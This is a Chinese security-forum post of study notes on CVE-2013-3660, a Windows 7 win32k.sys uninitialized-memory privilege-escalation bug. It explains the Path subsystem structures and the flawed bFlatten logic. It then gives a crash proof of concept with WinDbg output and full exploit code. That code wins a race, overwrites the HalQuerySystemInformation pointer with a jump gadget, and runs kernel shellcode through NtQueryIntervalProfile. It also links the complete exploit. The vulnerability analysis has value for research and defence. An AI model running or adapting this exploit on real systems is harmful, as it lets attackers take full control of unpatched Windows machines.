首页
社区
课程
招聘
[原创]CVE-2013-3660提权漏洞学习笔记
2022-7-8 18:50 11127

[原创]CVE-2013-3660提权漏洞学习笔记

2022-7-8 18:50
11127

一.前言

1.漏洞描述

在对win32k.sys进行压力测试时候发现的漏洞,该漏洞的是因为Windows系统在对Path子系统进行相关操作的时候,对申请用以操作的内存存在不进行初始化造成的。通过频繁地申请与释放内存,导致系统在执行win32k的bFlatten函数时,使用了未初始化的内存,而用户可以有一定的概率成功控制这块内存,导致可以让函数之后的读写操作指向非法内存引发BSOD,或指向目标函数来实现提权。

2.实验环境

  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg

二.Path子系统

1.关键结构体

Windows的Path子系统是一个关于绘制图形曲线的系统,在EPATHOBJ结构体中的pPath成员指向了用于该子系统的PATH结构体指针:

typedef struct _PATHOBJ {
  FLONG  fl;
  ULONG  cCurves;
} PATHOBJ, *PPATHOBJ;

typedef struct _EPATHOBJ
{
  PATHOBJ  po;
  PPATH   pPath;
} EPATHOBJ, *PEPATHOBJ;

PATH结构体的定义如下,主要包括了指向PATHALLOC和PATHRECORD结构体的指针:

typedef struct _PATH
{
   int iUnKnown[4];		// 0x10大小的未知成员
   PATHALLOC *ppachain;		// 指向PATHALLOC结构体
   PATHRECORD *pprfirst;	// 指向第一个PATHRECORD
   PATHRECORD *pprlast;		// 指向最后一个PATHRECORD
}PATH, *PPATH;

PATHALLOC是分配PATHRECORD的容器,该结构体定义如下:

typedef struct _PATHALLOC
{
    struct _PATHALLOC *ppanext;		// 指向下一个PATHALLOC结构体
    struct _PATHRECORD *pprfreestart;   // 指向新分配的PATHRECORD结构体
    ULONG siztPathAlloc;                // 当前PATHALLOC结构体大小
    PATHRECORD pathRecord[0];           // PATHRECORD数组
}PATHALLOC, *PPATHALLOC;

PATHRECORD是Path子系统的主要结构体,对其进行直线化操作就是对PATHRECORD结构体进行操作,该结构体定义如下:

typedef struct _PATHRECORD
{
    struct _PATHRECORD *pprnext;	// 指向下一个PATHRECORD 
    struct _PATHRECORD *pprprev;        // 指向上一个PATHRECORD
    DWORD flags;		        // 类型
    DWORD numPoints;		        // points数组元素个数
    POINT points[0];		        // POINT数组,记录坐标点
}PATHRECORD, *PPATHRECORD

其中,flags成员指明了该结构体的类型,如,PD_BEZIERS就指明其未贝塞尔自由绘制曲线:

#define PD_BEZIERS        0x00000010

PATH,PATHALLOC,PATHRECORD结构体的关系如下图所示:

2.PATHALLOC的分配与释放

系统分配PATHRECORD结构体是通过PATHALLOC结构体实现的,freepathalloc和newpathalloc分别是用来释放和分配PATHALLOC结构体的函数。

freepathalloc函数实现如下,由该实现可以看出,在PATHALLOC中有一个freelist链表,该链表可以用来保存释放的PATHALLOC结构体,其中,cFree成员用来指定保存在freelist链表中的PATHALLOC结构体的数量。当freelist链表中保存的PATHALLOC结构体数量少于4时,释放的PATHALLOC结构体会被加入到链表中,否则直接调用ExFreePoolWithTag释放内存。

newpathalloc函数的实现如下,该函数首先判断freelist中是否存在可用的PATHALLOC结构体,如果有,则直接从freelist链表中分配,否则就会在第二处调用PALLOCMEM函数来分配内存,函数最终会将分配的内存地址赋给res,作为返回值。

在该函数中,在分配完内存以后只在LABEL_7初始化了PATHALLOC结构体前面三个成员,而之后的PATHRECORD结构体数组没有进行初始化。因此,如果是从第一处的freelist链表中分配PATHALLOC结构体,该结构体中的PATHRECORD结构体数组就会是之前释放PATHALLOC结构体时保存的数据。如果是第二处的PATLLOCMEM函数分配内存则不存在该问题,因为该函数会将内存初始化为0。

其中Win32AllocPool函数直接调用ExAllocatePoolWithTag来申请PagedPoolSession类型的内存:

三.漏洞分析

触发漏洞的函数为bFlatten,该函数实现如下,函数从PATH->pprfirst开始遍历查找所有的PATHRECORD结构体,对PD_BEZIERS类型的PATHRECORD结构体调用pprFlaaenRec函数。

pprFlattenRec函数首先会调用newpathrec函数申请一块PATHRECORD结构体,该结构体保存在第二个参数first_pathRecord中,对于新分配的PATHRECORD结构体,函数将其pprprev赋值为调用pprFlattenRec时,传入的PATHRECORD结构体参数的pprprev,然后将参数的pprprev指向的PATHRECORD结构体的pprnext赋值为新申请PATHRECORD结构体。

之后函数可能会多次调用newpathrec分配新的PATHRECORD结构体,然后将上面分配的PATHRECORD结构体的pprnext指向新分配的PATHRECORD结构体,同时会移动pprNew指针。

在pprFlattenRec函数的最后,函数会将pprNew的pprnext赋值为调用pprFlattenRec函数时传入的PATHRECORD参数的pprnext。

申请PATHRECORD结构体的newpathrec函数实现如下,函数首先从PATH->ppachain->pprfreestart指向的地址开始查找是否有足够的空间分配一个PATHRECORD结构体,如有则以pprfreestart指向的地址分配新PATHRECORD。否则,函数会调用newpathalloc函数先分配一个新的PATHALLOC结构体连入ppachain指向的链表的比链表头,在从新的PATHALLOC里的pprfreestart所指地址分配PATHRECORD。

newpathalloc在上面分析过了,如果是从freelist链表中分配的PATHALLOC结构体,该结构体的PATHRECORD结构体数组就会是未初始化的。因此,newpathrec返回的PATHALLOC中的PATHRECORD结构体数组很有可能是未初始化的。而pprFlattenRec函数在函数最后才会对第一次调用newpathrec申请的PATHRECORD结构体的pprnext成员进行赋值,可是在第二次调用newpathrec函数的时候,如果此次调用,内存空间不够,该函数就会执行失败,返回的就不会是1,这样pprFlattenRec函数也会提前返回,最后对第一次申请的PATHRECORD结构体的pprnext成员进行赋值的代码也不会得到执行,这块PATHRECORD结构体的pprnext成员就没有被赋值的机会,保存的就会是这块内存原来的数值。而bFlatten函数会通过PATHRECORD->pprnext来查找下一个PATHRECORD结构体,将其作为参数调用pprFlattenRec,如果可以想办法让此时的pprnext指向指定的内存,此时就会以指定的内存调用pprFlattenRec。

四.漏洞触发

bFlatten函数的调用只需要在用户层调用FlattenPath就可以实现,该函数定义如下:

BOOL FlattenPath(HDC hdc);

其中的参数可以通过调用GetDC函数,将参数传递为NULL来获取桌面HDC句柄就可以得到。

HDC GetDC(HWND hWnd);

想要利用这个函数,就需要想办法将PATHRECORD结构体的pprnext赋值为指定的内存,而通过调用PolyDraw函数可以将指定的POINT数组赋给PATHRECORD结构体的points数组。

BOOL PolyDraw(HDC hdc, POINT *lppt, CONST BYTE *lpbTypes, int cCount);

PolyDraw函数进入到内核中,会调用NtGdiPolyDraw,NtGdiPolyDraw会调用GrePolyDraw,GrePolyDraw会调用bPolyBezierTo,bPolyBezierTo会调用addpoints,addpoints函数会调用createrec函数。

createrec可能会调用newpathalloc来申请PATHALLOC结构体,如果申请失败,则会调用reinit函数,并直接返回:

reinit函数会调用vFreeBlocks,并将EPATHOBJ的部分成员清0:

vFreeBlocks函数会将大小为0xFC0的PATHALLOC释放掉:

如果createrec不调用reinit,之后会调用bXformRound,该函数会将用户层传入的POINT数组的x和y乘以0x10(左移4位)赋给PATHRECORD结构体的points成员:

在用户层调用PolyDraw的前后,需要调用BeginPath和EndPath,其中BeginPath会在内核层调用NtGdiBeginPath实现,NtGdiBeginPath可能会调用vDelete函数:

vDelete函数会调用vFreeBlocks函数来释放PATHALLOC:

因此,通过BeginPath和PolyDraw可以向内存中频繁申请和释放PATHALLOC结构体,且该结构体的PATHRECORD成员的points数组保存的坐标为在用户层指定的坐标左移4位的数值。配合FlattenPath函数,进行多次调用,有可能申请出的PATHALLOC结构体的PATHRECORD成员的pprnext的值刚好为points的坐标的值,也就是在用户层指定的POINT数组坐标左移4位的值。而为了让pprnext保存为原始的值,需要通过如下的CreateRoudRectRgn来创建圆角矩阵占有内存,让newpathrec存在返回失败的情况,这样pprnext就会保存着释放之前的值。

HRGN CreateRoundRectRgn(int nLeftRect, int nTopRect, int nRightRect, int nBottomRect, int nWidthEllipse,  int nHeightEllipse);

用户层的POINT数组的坐标需要指定为在用户层创建的PATHRECORD结构体右移4位的地址,这样就未初始化的pprnext就可能执行创建的PATHRECORD,而这个用户层创建的PATHRECORD的next需要指向自身,且flags不能位PD_BEZIERS,这样,在bFlatten函数的循环中,一旦循环到该PATHRECORD结构体,就会在循环中不断循环。如果在不断循环的时候,将用户层的PATHRECORD结构体的next指针指向另一个在用户层创建的PATHRECORD结构体,那么就可以实现由用户来指定bFlatten函数调用pprFlattenRec函数时的PATHRECORD参数。而要找到这个合适的时机,就需要另外开起一个线程,在这个新线程中会先释放创建的圆角矩阵,在修改PATHRECORD的next指针,有一定概率可以实现所述的功能,相应的POC如下:

DWORD WINAPI WathdogThread(LPVOID param)
{
	if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT)
	{
		while (NumRegion--) DeleteObject(Regions[NumRegion]);
		InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
	}

	return 0;
}

BOOL POC_CVE_2013_3360()
{
	BOOL bRet = TRUE;

	PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
					       sizeof(PATHRECORD),
					       MEM_COMMIT | MEM_RESERVE,
					       PAGE_EXECUTE_READWRITE);
	if (!PathRecord)
	{
		bRet = FALSE;
		ShowError("VirtualAlloc", GetLastError());
		goto exit;
	}

	FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

	PathRecord->next = PathRecord;
	PathRecord->prev = (PPATHRECORD)0x42424242;
	PathRecord->flags = 0;

	ExploitRecord.next = NULL;
	ExploitRecord.prev = (PPATHRECORD)0x1;
	ExploitRecord.flags = PD_BEZIERS;

	ULONG PointNum = 0;
	ULONG PointValue = (ULONG)(PathRecord) >> 4;

	for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++)
	{
		Points[PointNum].x = PointValue;
		Points[PointNum].y = PointValue;
		PointTypes[PointNum] = PT_BEZIERTO;
	}

	SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL));

	while (TRUE)
	{
		Mutex = CreateMutex(NULL, TRUE, NULL);
		if (!Mutex)
		{
			bRet = FALSE;
			ShowError("CreateMutex", GetLastError());
			goto exit;
		}

		HANDLE hThread = NULL;

		hThread = CreateThread(NULL, 0, WathdogThread, NULL, 0, NULL);
		if (!hThread)
		{
			bRet = FALSE;
			ShowError("CreateThread", GetLastError());
			goto exit;
		}

		// 消耗内存,让newpathrec函数返回失败
		ULONG Size = 0;
		for (Size = 1 << 26; Size; Size >>= 1) {
			while (TRUE) {
				HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
				if (!hm) {
					break;
				}
				if (NumRegion < MAX_REGIONS)
				{
					Regions[NumRegion] = hm;
					NumRegion++;
				}
				else NumRegion = 0;
			}
		}

		HDC Device = NULL;

		Device = GetDC(NULL);

		for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3)
		{
			// 频繁释放,申请内存
			BeginPath(Device);
			PolyDraw(Device, Points, PointTypes, PointNum);
			EndPath(Device);
			// 触发漏洞
			FlattenPath(Device);
			FlattenPath(Device);
			EndPath(Device);
		}

		ReleaseMutex(Mutex);
		ReleaseDC(NULL, Device);
		WaitForSingleObject(hThread, INFINITE);
	}

exit:
	return bRet;
}

在POC中,ExploitRecord的prev为1,这样在pprFlattenRec函数中,执行如下所示的最开始的赋值操作的时候,就会将新创建的PATHRECORD结构体的prev赋值为1,因为此时pprFlattenRec函数的PATHRECORD结构体的参数是ExploitRecord。

而在之后执行pprNew->pprprev->pprnext = pprNew的时候,就会对地址为1的内存进行赋值,该地址是无效地址,因此会产生BSOD。编译运行POC,即可验证:

kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
win32k!EPATHOBJ::pprFlattenRec+0x5e:
83883b95 8930            mov     dword ptr [eax],esi
kd> r eax
eax=00000001

以下为部分错误信息:

kd> !analyze -v
Connected to Windows 7 7601 x86 compatible target at (Tue Jul  5 15:38:47.483 2022 (UTC + 8:00)), ptr64 FALSE
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PROCESS_NAME:  exp.exe

FAULTING_IP: 
win32k!EPATHOBJ::pprFlattenRec+5e
83883b95 8930            mov     dword ptr [eax],esi

BUGCHECK_STR:  ACCESS_VIOLATION

WRITE_ADDRESS:  00000001 

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE

ERROR_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text>

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text>

STACK_TEXT:  
win32k!EPATHOBJ::pprFlattenRec+0x5e
win32k!EPATHOBJ::bFlatten+0x23
win32k!NtGdiFlattenPath+0x50
nt!KiFastCallEntry+0x12a
ntdll!KiFastSystemCallRet
GDI32!NtGdiFlattenPath+0xc
GDI32!FlattenPath+0x44

MODULE_NAME: win32k

IMAGE_NAME:  win32k.sys

OSBUILD:  7601

五.漏洞利用

现在可以通过指定ExploitRecord的prev为保存HalQuerySystemInformation函数地址的地址,来实现对其进行更改。但是,在执行pprNew->pprprev->pprnext = pprNew的时候,pprNew的大小并不可控。不过在pprFlattenRec函数的最后,会将pprNew的pprnext赋值为下一个PATHRECORD结构体的地址:

如果将ExploitRecord的next赋值为0x642464FF(对应jmp [esp + 0x64]),这样就会将pprNew所指的地址最开始的4字节赋值为该数值。此时,程序调用HalQuerySystemInformation的时候就会执行call [pprNew]跳转到pprNew所指的地址中执行,而跳转到该地址就会执行jmp [esp + 0x64]。之所以是这条指令,是因为在调用NtQueryIntervalProfile的时候,会将要执行的ShellCode的地址作为第二个参数传递,在执行jmp [esp + 0x64]的时候,该ShellCode的地址会刚好保存在esp + 0x64处的地址,就会成功执行ShellCode。

另外,由于bFlatten函数在处理完ExploitRecord之后,会继续取下一个PATHRECORD继续执行,而此时ExploitRecord的next为0x642464FF,因此该地址需要有效,且它的next和flags需要为0来让bFlatten函数正常退出。此时的利用代码如下,其中dwMagic的值就是0x642464FF:

BOOL Init_CVE_2013_3360()
{
	BOOL bRet = TRUE;

	HMODULE hNtdll = NULL;

	hNtdll = GetModuleHandle("ntdll");
	if (!hNtdll)
	{
		bRet = FALSE;
		ShowError("GetModuleHandle", GetLastError());
		goto exit;
	}

	pNtQueryIntervalProfile = (lpfnNtQueryIntervalProfile)GetProcAddress(hNtdll, "NtQueryIntervalProfile");
	if (!pNtQueryIntervalProfile)
	{
		bRet = FALSE;
		ShowError("GetProcAddress", GetLastError());
		goto exit;
	}
	
	if (!VirtualAlloc((PVOID)(dwMagic & 0xFFFFF000),
					  PAGE_SIZE,
					  MEM_COMMIT | MEM_RESERVE,
					  PAGE_EXECUTE_READWRITE))
	{
		bRet = FALSE;
		ShowError("VirtualAlloc", GetLastError());
		goto exit;
	}

	PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
										   sizeof(PATHRECORD),
										   MEM_COMMIT | MEM_RESERVE,
										   PAGE_EXECUTE_READWRITE);

	if (!PathRecord)
	{
		bRet = FALSE;
		ShowError("VirtualAlloc", GetLastError());
		goto exit;
	}

	FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

	PathRecord->next = PathRecord;
	PathRecord->prev = (PPATHRECORD)(0x42424242);
	PathRecord->flags = 0;

	ExploitRecordExit = (PPATHRECORD)dwMagic;
	ExploitRecordExit->next = NULL;
	ExploitRecordExit->flags = PD_BEGINSUBPATH;
	ExploitRecordExit->count = 0;

	PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();

	ExploitRecord.next = ExploitRecordExit;
	ExploitRecord.prev = (PPATHRECORD)pHalQuerySystemInformation;
	ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
	ExploitRecord.count = 4;

	ULONG PointNum = 0;
	ULONG PointValue = (ULONG)PathRecord >> 4;

	for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++)
	{
		Points[PointNum].x = PointValue;
		Points[PointNum].y = PointValue;
		PointTypes[PointNum] = PT_BEZIERTO;
	}

	pShellCodeBuffer = VirtualAlloc(NULL, 
									dwShellCodeSize,
									MEM_RESERVE | MEM_COMMIT,
									PAGE_EXECUTE_READWRITE);
	if (!pShellCodeBuffer)
	{
		bRet = FALSE;
		ShowError("VirtualAlloc", GetLastError());
		goto exit;
	}

	ZeroMemory(pShellCodeBuffer, dwShellCodeSize);
	memcpy(pShellCodeBuffer, ShellCode, dwShellCodeSize);
	dwStore = *(PDWORD)pShellCodeBuffer;

exit:
	return bRet;
}

BOOL Trigger_CVE_2013_3360()
{
	BOOL bRet = TRUE;

	HDESK hDesk = NULL;

	hDesk = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
	if (hDesk) SetThreadDesktop(hDesk);

	HANDLE hThread = NULL;
	HDC Device = NULL;
	ULONG Size = 0, PointNum = 0;

	while (TRUE)
	{
		Mutex = CreateMutex(NULL, TRUE, NULL);
		if (!Mutex)
		{
			bRet = FALSE;
			ShowError("CreateMutex", GetLastError());
			goto exit;
		}

		Device = GetDC(NULL);
		if (!Device)
		{
			bRet = FALSE;
			ShowError("GetDC", GetLastError());
			goto exit;
		}

		hThread = CreateThread(NULL, 0, WathdogThread, NULL, 0, NULL);
		if (!hThread)
		{
			bRet = FALSE;
			ShowError("CreateMutex", GetLastError());
			goto exit;
		}

		for (Size = 1 << 26; Size; Size >>= 1)
		{
			while (TRUE)
			{
				HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
				if (!hm) break;

				if (NumRegion < MAX_REGIONS)
				{
					Regions[NumRegion] = hm;
					NumRegion++;
				}
				else NumRegion = 0;
			}
		}

		for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3)
		{
			BeginPath(Device);
			PolyDraw(Device, Points, PointTypes, PointNum);
			EndPath(Device);
			FlattenPath(Device);
			FlattenPath(Device);

			pNtQueryIntervalProfile(2, (PULONG)pShellCodeBuffer);
			*(PDWORD)pShellCodeBuffer = dwStore;

			EndPath(Device);

			if (PathRecord->next == &ExploitRecord) goto exit;
		}

		// 运行到此处,说明漏洞触发失败了,释放掉资源
		ReleaseMutex(Mutex);
		ReleaseDC(NULL, Device);
		WaitForSingleObject(hThread, INFINITE);
	}

exit:
	return bRet;
}

六.运行结果

完整的漏洞利用代码保存在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2013-3660.cpp。如果要查看执行ShellCode的过程,可以在调用NtQueryIntervalProfile之前加入如下代码:

if (PathRecord->next == &ExploitRecord) __asm int 3;

编译运行程序,当系统中断的时候就可以在nt!KeQueryIntervalProfile中的关键位置下断点,可以看到目标函数地址已经被修改为一个新的地址。而这个地址中保存的就是jmp [esp + 0x64]这条指令:

继续执行,就会执行jmp [esp + 0x64]这条指令,且执行这条指令的时候,esp + 0x64中保存的是ShellCode的地址:

kd> t
a81cb014 ff642464        jmp     dword ptr [esp+64h]
kd> dd esp + 64 L4
89338c30  00220000 0012ff00 776770b4 badb0d00

因此,继续执行就会跳转执行ShellCode的提权代码:

执行完成,程序就会成功提权:

七.参考资料


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-8-4 23:16 被1900编辑 ,原因:
收藏
点赞5
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/09/16 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回